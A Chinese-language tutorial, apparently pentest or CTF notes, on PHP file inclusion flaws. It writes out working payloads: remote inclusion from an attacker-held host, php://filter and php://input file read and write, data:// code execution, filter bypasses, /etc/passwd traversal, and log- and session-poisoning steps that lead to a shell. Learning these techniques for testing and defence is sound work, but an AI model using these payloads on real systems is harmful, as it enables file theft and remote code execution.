Web文件包含漏洞
简述
开发人员为提高代码重用性,会将可复用函数或语句写在单个文件中,使用时调用,此为文件包含。若开发时将被包含文件路径设为变量以动态调用,且 Web 应用未对该参数严格校验,使攻击者能控制被包含文件路径,就会产生文件包含漏洞。几乎所有脚本都有文件包含功能,在 PHP 的 Web 应用中较为常见。
- 远程包含
- 本地包含
远程包含
需要对方服务器开启远程开关;若是能够远程,可以将敏感的PHP文件以TXT后缀放在自已服务器上,让对方服务器远程访问URL:xxx.php?file:http://xxx.xxx/1.txt
对方服务器即可以PHP脚本执行。
本地包含
只能控制固定文件(服务器现有文件);如果有文件上传漏洞可以搭配本地文件包含漏洞,文件写着恶意代码,可以直接利用。
若是没有上传文件漏洞:
- 包含日志文件利用
- 包含session文件利用
- 无文件伪协议玩法利用
伪协议
常见伪协议:file://,php://filter,php://input,zip://,data://
文件读取
【“ ?file= ”只是传参值,可随代码书写变量变动。】
?file=file://../../../../../../../etc/passwd
?file=php://filter/read=convert.base64-encode/resource=../../phpinfo.php
读取服务器目录下的phpinfo.php文件,若是没有显示空白,若是有则返回base64编码后的内容
【如果出现read、base、convert等关键字过滤可以尝试使用:string、utf8、utf16】
例如:
php://filter/convert.iconv.utf-8.utf-16/resource=flag.php
php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
这些是read,base64,encode,string被过滤的情况。
文件写入
?file=php://input
需要利用Post data里写PHP代码,即可直接执行代码。
?file=php://filter/write=convert.base64-decode/resource=123.php
然后将恶意PHP代码编码为base64写入Post data里(前面需要加content=),再次访问123.php然后在Post data中写执行参数即可执行。
文件执行
?file=data://text/plain,<?php phpinfo();?>
将直接执行后面的php代码。
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
将php代码编码为base64,然后写入data://text/plain;base64,后面,再次访问即可执行。
日志包含
nginx服务器日志文件
?file=/var/log/nginx/access.log
查看日志文件,发现日志文件里记录UA信息,可以尝试把恶意php代码写入UA中,使其让服务器执行。
Session包含
Session文件特性是会自动清除内容;session文件通常在/tmp/sess_test
需要对上传表单或者上传文件(自建html,传递对方服务器)进行抓包,在Cookie内容中写 PHPSESSID=test
,那么session固定文件名就是sess_test 表单内容写入【创建php文件 ——> 写入php代码】。
需要不断的发包,让session文件不断的写入这个php执行代码。然后浏览器不断的访问这个session文件。使用bp无payload爆破
最后,手动执行写入的php文件(案例是不断地访问shell.php文件,需不断的刷新执行)
文件下载
可能存在安全问题的URL:
http(s)://www.xxx.com/upload?file=xxx.pdf
http(s)://www.xxx.com/upload?data=php://filter/read=convert.base64-encode/resource=xxx.pdf
...
目录安全
目录遍历
http://www.xxx.com/upload?file=../../../../etc/passwd
此外,如果目录内没有index文件索引将会暴露目录,将目录所有文件或文件夹列出。
目录穿越
目录权限控制不当;如果代码中设定了只允许在此目录(/test)下进行操作,但是用户可以通过 /test/../../../../../
进行绕过过滤。